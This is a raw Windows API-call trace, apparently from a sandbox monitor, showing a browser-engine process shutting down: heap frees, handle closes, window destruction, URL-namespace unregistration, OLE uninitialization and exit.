[0213.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a48 | out: lpSystemTimeAsFileTime=0x6315a48*(dwLowDateTime=0x7cd8271b, dwHighDateTime=0x1d7e6dd))
[0213.291] free (_Block=0x631e1b8)
[0213.291] free (_Block=0x630d920)
[0213.291] free (_Block=0x861148)
[0213.291] malloc (_Size=0x30) returned 0x6367ef0
[0213.291] SetEvent (hEvent=0x398) returned 1
[0213.292] SetEvent (hEvent=0x398) returned 1
[0213.294] CloseHandle (hObject=0x3b0) returned 1
[0213.294] CloseHandle (hObject=0x3ac) returned 1
[0213.294] CloseHandle (hObject=0x3a8) returned 1
[0213.294] CloseHandle (hObject=0x3a4) returned 1
[0213.294] free (_Block=0x631c6d8)
[0213.294] VirtualFree (lpAddress=0x75a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0213.295] free (_Block=0x631fa18)
[0213.295] free (_Block=0x631d6d0)
[0213.295] VirtualFree (lpAddress=0x7560000, dwSize=0x1000, dwFreeType=0x4000) returned 1
[0213.295] free (_Block=0x631d660)
[0213.295] free (_Block=0x630d9b0)
[0213.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a50 | out: lpSystemTimeAsFileTime=0x6315a50*(dwLowDateTime=0x7cd8dc30, dwHighDateTime=0x1d7e6dd))
[0213.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a58 | out: lpSystemTimeAsFileTime=0x6315a58*(dwLowDateTime=0x7cd8dc30, dwHighDateTime=0x1d7e6dd))
[0213.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a60 | out: lpSystemTimeAsFileTime=0x6315a60*(dwLowDateTime=0x7cd8e9f1, dwHighDateTime=0x1d7e6dd))
[0213.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a68 | out: lpSystemTimeAsFileTime=0x6315a68*(dwLowDateTime=0x7cd8e9f1, dwHighDateTime=0x1d7e6dd))
[0213.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a70 | out: lpSystemTimeAsFileTime=0x6315a70*(dwLowDateTime=0x7cd8e9f1, dwHighDateTime=0x1d7e6dd))
[0213.296] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0213.296] IUnknown:Release (This=0x7a0340) returned 0x0
[0213.296] IUnknown:Release (This=0x6420de4) returned 0x0
[0213.296] IUnknown:Release (This=0x6ee367bc) returned 0x7fff
[0213.297] CoTaskMemFree (pv=0x6d2a88)
[0213.297] CoTaskMemFree (pv=0x6d2b28)
[0213.297] GetCurrentThreadId () returned 0x7a0
[0213.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a20 | out: lpSystemTimeAsFileTime=0x6315a20*(dwLowDateTime=0x7cd925c0, dwHighDateTime=0x1d7e6dd))
[0213.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a30 | out: lpSystemTimeAsFileTime=0x6315a30*(dwLowDateTime=0x7cd925c0, dwHighDateTime=0x1d7e6dd))
[0213.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a58 | out: lpSystemTimeAsFileTime=0x6315a58*(dwLowDateTime=0x7cd925c0, dwHighDateTime=0x1d7e6dd))
[0213.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a60 | out: lpSystemTimeAsFileTime=0x6315a60*(dwLowDateTime=0x7cd925c0, dwHighDateTime=0x1d7e6dd))
[0213.298] free (_Block=0x631cc50)
[0213.298] GetTickCount () returned 0x1ca7215
[0213.298] GetTickCount () returned 0x1ca7215
[0213.298] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x0
[0213.298] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x0
[0213.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a68 | out: lpSystemTimeAsFileTime=0x6315a68*(dwLowDateTime=0x7cd938f0, dwHighDateTime=0x1d7e6dd))
[0213.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a70 | out: lpSystemTimeAsFileTime=0x6315a70*(dwLowDateTime=0x7cd94cae, dwHighDateTime=0x1d7e6dd))
[0213.299] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5138 | out: hHeap=0x6b0000) returned 1
[0213.299] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2ba0 | out: hHeap=0x6b0000) returned 1
[0213.299] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c50c0 | out: hHeap=0x6b0000) returned 1
[0213.300] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c2680 | out: hHeap=0x6b0000) returned 1
[0213.300] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4700 | out: hHeap=0x6b0000) returned 1
[0213.300] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c50d8 | out: hHeap=0x6b0000) returned 1
[0213.300] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2b50 | out: hHeap=0x6b0000) returned 1
[0213.301] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d98a8 | out: hHeap=0x6b0000) returned 1
[0213.301] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5518 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5738 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c54d8 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c55b8 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c57b8 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c54b8 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5698 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5458 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c54f8 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2c90 | out: hHeap=0x6b0000) returned 1
[0213.302] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2a10 | out: hHeap=0x6b0000) returned 1
[0213.303] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2c18 | out: hHeap=0x6b0000) returned 1
[0213.303] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2c68 | out: hHeap=0x6b0000) returned 1
[0213.303] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2ad8 | out: hHeap=0x6b0000) returned 1
[0213.303] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6da7f0 | out: hHeap=0x6b0000) returned 1
[0213.303] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6500 | out: hHeap=0x6b0000) returned 1
[0213.303] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6370 | out: hHeap=0x6b0000) returned 1
[0213.304] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6da700 | out: hHeap=0x6b0000) returned 1
[0213.304] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4310 | out: hHeap=0x6b0000) returned 1
[0213.304] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d43c8 | out: hHeap=0x6b0000) returned 1
[0213.304] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d25c8 | out: hHeap=0x6b0000) returned 1
[0213.308] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eab20 | out: hHeap=0x6b0000) returned 1
[0213.309] IUnknown:Release (This=0x6c0360) returned 0x0
[0213.310] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5018 | out: hHeap=0x6b0000) returned 1
[0213.310] UnregisterPowerSettingNotification (Handle=0x6db2a0) returned 1
[0213.310] SetWindowLongW (hWnd=0x203d8, nIndex=-21, dwNewLong=0) returned 7147424
[0213.311] DestroyWindow (hWnd=0x203d8) returned 1
[0213.311] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 0
[0213.311] NtdllDefWindowProc_W () returned 0x0
[0213.312] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 0
[0213.312] NtdllDefWindowProc_W () returned 0x0
[0213.312] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 0
[0213.312] NtdllDefWindowProc_W () returned 0x0
[0213.314] UnregisterClassW (lpClassName=0xc243, hInstance=0x0) returned 1
[0213.314] UnmapViewOfFile (lpBaseAddress=0xb90000) returned 1
[0213.314] CloseHandle (hObject=0x30c) returned 1
[0213.314] CloseHandle (hObject=0x308) returned 1
[0213.314] GetProcessHeap () returned 0x6b0000
[0213.314] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d0fa0 | out: hHeap=0x6b0000) returned 1
[0213.316] GetModuleHandleW (lpModuleName="OLEAUT32") returned 0x76150000
[0213.316] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0213.317] GetProcAddress (hModule=0x76150000, lpProcName=0xc9) returned 0x761895a0
[0213.317] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fd6c | out: lpflOldProtect=0x19fd6c*=0x4) returned 1
[0213.317] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
[0213.318] IInternetSession:UnregisterNameSpace (This=0x6c52e0, pCF=0x6ed24f90, pszProtocol="res") returned 0x0
[0213.318] IUnknown:Release (This=0x6ed24f90) returned 0x1
[0213.318] IInternetSession:UnregisterNameSpace (This=0x6c52e0, pCF=0x6ed24fb0, pszProtocol="about") returned 0x0
[0213.318] IUnknown:Release (This=0x6ed24fb0) returned 0x1
[0213.320] IInternetSession:UnregisterNameSpace (This=0x6c52e0, pCF=0x6ed25fa4, pszProtocol="blob") returned 0x0
[0213.321] IUnknown:AddRef (This=0x6ed25fa4) returned 0x1
[0213.321] IUnknown:Release (This=0x6c52e0) returned 0x1
[0213.321] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0213.321] SetEvent (hEvent=0x20c) returned 1
[0213.324] SetThreadPriority (hThread=0x228, nPriority=0) returned 1
[0213.324] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x19fd8c*=0x200, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0213.324] SetEvent (hEvent=0x214) returned 1
[0213.326] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x19fd74*=0x210, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0213.326] CloseHandle (hObject=0x210) returned 1
[0213.326] CloseHandle (hObject=0x214) returned 1
[0213.326] CloseHandle (hObject=0x218) returned 1
[0213.326] SetEvent (hEvent=0x220) returned 1
[0213.329] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x19fd74*=0x21c, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0213.329] CloseHandle (hObject=0x21c) returned 1
[0213.329] CloseHandle (hObject=0x220) returned 1
[0213.329] CloseHandle (hObject=0x224) returned 1
[0213.329] CloseHandle (hObject=0x208) returned 1
[0213.329] CloseHandle (hObject=0x200) returned 1
[0213.329] CloseHandle (hObject=0x20c) returned 1
[0213.330] CloseHandle (hObject=0x204) returned 1
[0213.330] free (_Block=0x6304da0)
[0213.330] CloseHandle (hObject=0x1f4) returned 1
[0213.330] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c49d0 | out: hHeap=0x6b0000) returned 1
[0213.330] CloseHandle (hObject=0x1f0) returned 1
[0213.331] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6cffe8 | out: hHeap=0x6b0000) returned 1
[0213.331] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d68d8 | out: hHeap=0x6b0000) returned 1
[0213.331] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6be060 | out: hHeap=0x6b0000) returned 1
[0213.331] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d64e8 | out: hHeap=0x6b0000) returned 1
[0213.331] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1dc8 | out: hHeap=0x6b0000) returned 1
[0213.332] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2628 | out: hHeap=0x6b0000) returned 1
[0213.332] CoTaskMemFree (pv=0x0)
[0213.332] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ba1b8 | out: hHeap=0x6b0000) returned 1
[0213.333] IUnknown:Release (This=0x6c0260) returned 0x0
[0213.334] SetEvent (hEvent=0x304) returned 1
[0213.336] GetCurrentThreadId () returned 0x7a0
[0213.336] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x1388) returned 0x0
[0213.336] GetExitCodeThread (in: hThread=0x300, lpExitCode=0x19fd38 | out: lpExitCode=0x19fd38) returned 1
[0213.337] CloseHandle (hObject=0x304) returned 1
[0213.337] CloseHandle (hObject=0x300) returned 1
[0213.337] DeleteDC (hdc=0x55010a7a) returned 1
[0213.407] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d8cb0 | out: hHeap=0x6b0000) returned 1
[0213.407] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d26a0 | out: hHeap=0x6b0000) returned 1
[0213.411] GetCurrentThreadId () returned 0x7a0
[0213.411] DestroyWindow (hWnd=0xa01d6) returned 1
[0213.412] NtdllDefWindowProc_W () returned 0x0
[0213.412] NtdllDefWindowProc_W () returned 0x0
[0213.417] NtdllDefWindowProc_W () returned 0x0
[0213.418] NtdllDefWindowProc_W () returned 0x0
[0213.418] NtdllDefWindowProc_W () returned 0x0
[0213.420] DestroyWindow (hWnd=0x30198) returned 1
[0213.421] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f8910 | out: hHeap=0x6b0000) returned 1
[0213.421] free (_Block=0x631e2d8)
[0213.422] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ebc40 | out: hHeap=0x6b0000) returned 1
[0213.426] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f6ec0 | out: hHeap=0x6b0000) returned 1
[0213.427] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f6fd8 | out: hHeap=0x6b0000) returned 1
[0214.480] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ed528 | out: hHeap=0x6b0000) returned 1
[0214.484] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c4f28 | out: hHeap=0x6b0000) returned 1
[0214.484] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0214.484] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0214.485] GetProcAddress (hModule=0x75160000, lpProcName="CoDecrementMTAUsage") returned 0x75589f00
[0214.485] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fd58 | out: lpflOldProtect=0x19fd58*=0x4) returned 1
[0214.486] CoDecrementMTAUsage (Cookie=0x6c49a0) returned 0x0
[0214.529] SetEvent (hEvent=0x29c) returned 1
[0214.529] GetCurrentThreadId () returned 0x7a0
[0214.529] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x1388) returned 0x0
[0214.540] GetExitCodeThread (in: hThread=0x2ec, lpExitCode=0x19fda8 | out: lpExitCode=0x19fda8) returned 1
[0214.540] CloseHandle (hObject=0x29c) returned 1
[0214.540] CloseHandle (hObject=0x2a4) returned 1
[0214.540] CloseHandle (hObject=0x2ec) returned 1
[0214.540] CActiveIMMAppEx_Trident:IUnknown:Release (This=0x6c6a50) returned 0x0
[0214.541] ReleaseActCtx (in: hActCtx=0x6d00c4 | out: hActCtx=0x6d00c4)
[0214.541] SetEvent (hEvent=0x310) returned 1
[0214.545] WaitForSingleObject (hHandle=0x314, dwMilliseconds=0xffffffff) returned 0x0
[0214.545] CloseHandle (hObject=0x314) returned 1
[0214.545] CloseHandle (hObject=0x330) returned 1
[0214.545] CloseHandle (hObject=0x328) returned 1
[0214.545] UnmapViewOfFile (lpBaseAddress=0xba0000) returned 1
[0214.545] GetProcessHeap () returned 0x6b0000
[0214.545] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ec9c0 | out: hHeap=0x6b0000) returned 1
[0214.546] CloseHandle (hObject=0x310) returned 1
[0214.546] GetProcessHeap () returned 0x6b0000
[0214.546] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f71a0 | out: hHeap=0x6b0000) returned 1
[0214.547] FreeLibrary (hLibModule=0x6dc70000) returned 1
[0214.547] FreeLibrary (hLibModule=0x6dc70000) returned 1
[0214.547] UnregisterClassW (lpClassName=0xc0f0, hInstance=0x6dc70000) returned 1
[0214.547] UnregisterClassW (lpClassName=0xc0ed, hInstance=0x6dc70000) returned 1
[0214.548] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0214.548] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0214.550] GetProcAddress (hModule=0x75160000, lpProcName="OleUninitialize") returned 0x75186eb0
[0214.550] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fe24 | out: lpflOldProtect=0x19fe24*=0x4) returned 1
[0214.551] OleUninitialize ()
[0214.551] DestroyWindow (hWnd=0x403c0) returned 1
[0214.551] NtdllDefWindowProc_W () returned 0x0
[0214.553] PostQuitMessage (nExitCode=0)
[0214.553] NtdllDefWindowProc_W () returned 0x0
[0214.555] FreeLibrary (hLibModule=0x6dc70000) returned 1
[0214.555] exit (_Code=0)
[0214.560] free (_Block=0x635beb8)
[0214.565] free (_Block=0x6358578)
[0214.565] free (_Block=0x63565f8)
[0214.565] free (_Block=0x6368840)
[0214.565] free (_Block=0x6358120)
[0214.565] free (_Block=0x6359bd8)
[0214.566] free (_Block=0x630b228)
[0214.576] DeleteAtom (nAtom=0xc005) returned 0x0
[0214.577] EtwEventUnregister () returned 0x0
[0214.577] EtwEventUnregister () returned 0x0
[0214.577] EtwEventUnregister () returned 0x0
[0214.577] free (_Block=0x63052a0)
[0214.578] free (_Block=0x630abc8)
[0214.607] GetCurrentThreadId () returned 0x7a0
[0214.607] EtwEventUnregister () returned 0x0
[0214.607] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ba248 | out: hHeap=0x6b0000) returned 1
[0214.609] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5ab8 | out: hHeap=0x6b0000) returned 1
[0214.611] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1df8 | out: hHeap=0x6b0000) returned 1
[0214.611] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d2c40 | out: hHeap=0x6b0000) returned 1
[0214.611] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5078 | out: hHeap=0x6b0000) returned 1
[0214.612] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5618 | out: hHeap=0x6b0000) returned 1
[0214.612] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0214.612] GetProcAddress (hModule=0x70a40000, lpProcName=0x1e8) returned 0x70ab95a0
[0214.613] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fb58 | out: lpflOldProtect=0x19fb58*=0x4) returned 1
[0214.614] EtwEventUnregister () returned 0x0
[0214.614] EtwEventUnregister () returned 0x0
[0214.614] EtwEventUnregister () returned 0x0
[0214.614] EtwEventUnregister () returned 0x0
[0214.614] EtwEventUnregister () returned 0x0
[0214.708] FindAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0xc000
[0214.708] DeleteAtom (nAtom=0xc000) returned 0x0
[0214.709] LocalFree (hMem=0x0) returned 0x0
[0214.713] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1518 | out: hHeap=0x6b0000) returned 1
[0214.713] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1658 | out: hHeap=0x6b0000) returned 1
[0214.713] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1638 | out: hHeap=0x6b0000) returned 1
[0214.713] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c13f8 | out: hHeap=0x6b0000) returned 1
[0214.713] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1358 | out: hHeap=0x6b0000) returned 1
[0214.713] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1338 | out: hHeap=0x6b0000) returned 1
[0214.713] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c15f8 | out: hHeap=0x6b0000) returned 1
[0214.714] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1318 | out: hHeap=0x6b0000) returned 1
[0214.714] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1c48 | out: hHeap=0x6b0000) returned 1
[0214.714] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1398 | out: hHeap=0x6b0000) returned 1
[0214.714] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1618 | out: hHeap=0x6b0000) returned 1
[0214.714] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1478 | out: hHeap=0x6b0000) returned 1
[0214.714] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c15d8 | out: hHeap=0x6b0000) returned 1
[0214.714] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1a98 | out: hHeap=0x6b0000) returned 1
[0214.714] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1a78 | out: hHeap=0x6b0000) returned 1
[0214.715] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1a18 | out: hHeap=0x6b0000) returned 1
[0214.715] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c19f8 | out: hHeap=0x6b0000) returned 1
[0214.715] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1af8 | out: hHeap=0x6b0000) returned 1
[0214.715] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c19b8 | out: hHeap=0x6b0000) returned 1
[0214.715] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1878 | out: hHeap=0x6b0000) returned 1
[0214.715] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1998 | out: hHeap=0x6b0000) returned 1
[0214.715] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1938 | out: hHeap=0x6b0000) returned 1
[0214.716] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c19d8 | out: hHeap=0x6b0000) returned 1
[0214.716] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1838 | out: hHeap=0x6b0000) returned 1
[0214.716] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1818 | out: hHeap=0x6b0000) returned 1
[0214.716] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c17f8 | out: hHeap=0x6b0000) returned 1
[0214.716] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1e88 | out: hHeap=0x6b0000) returned 1
[0214.716] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1978 | out: hHeap=0x6b0000) returned 1
[0214.716] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c17d8 | out: hHeap=0x6b0000) returned 1
[0214.716] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1918 | out: hHeap=0x6b0000) returned 1
[0214.717] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1858 | out: hHeap=0x6b0000) returned 1
[0214.717] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1898 | out: hHeap=0x6b0000) returned 1
[0214.717] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c17b8 | out: hHeap=0x6b0000) returned 1
[0214.717] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c18f8 | out: hHeap=0x6b0000) returned 1
[0214.717] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1798 | out: hHeap=0x6b0000) returned 1
[0214.717] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1c78 | out: hHeap=0x6b0000) returned 1
[0214.717] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1a58 | out: hHeap=0x6b0000) returned 1
[0214.718] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1a38 | out: hHeap=0x6b0000) returned 1
[0214.718] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c18b8 | out: hHeap=0x6b0000) returned 1
[0214.718] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1738 | out: hHeap=0x6b0000) returned 1
[0214.718] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1778 | out: hHeap=0x6b0000) returned 1
[0214.718] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1758 | out: hHeap=0x6b0000) returned 1
[0214.718] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c18d8 | out: hHeap=0x6b0000) returned 1
[0214.719] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1718 | out: hHeap=0x6b0000) returned 1
[0214.719] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1c18 | out: hHeap=0x6b0000) returned 1
[0214.719] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1958 | out: hHeap=0x6b0000) returned 1
[0214.719] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c16f8 | out: hHeap=0x6b0000) returned 1
[0214.719] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c12a8 | out: hHeap=0x6b0000) returned 1
[0214.719] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c11e8 | out: hHeap=0x6b0000) returned 1
[0214.719] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0f88 | out: hHeap=0x6b0000) returned 1
[0214.720] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1268 | out: hHeap=0x6b0000) returned 1
[0214.720] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1128 | out: hHeap=0x6b0000) returned 1
[0214.720] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0f68 | out: hHeap=0x6b0000) returned 1
[0214.720] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1e28 | out: hHeap=0x6b0000) returned 1
[0214.720] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1108 | out: hHeap=0x6b0000) returned 1
[0214.720] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c0f48 | out: hHeap=0x6b0000) returned 1
[0214.720] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1248 | out: hHeap=0x6b0000) returned 1
[0214.721] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c1288 | out: hHeap=0x6b0000) returned 1
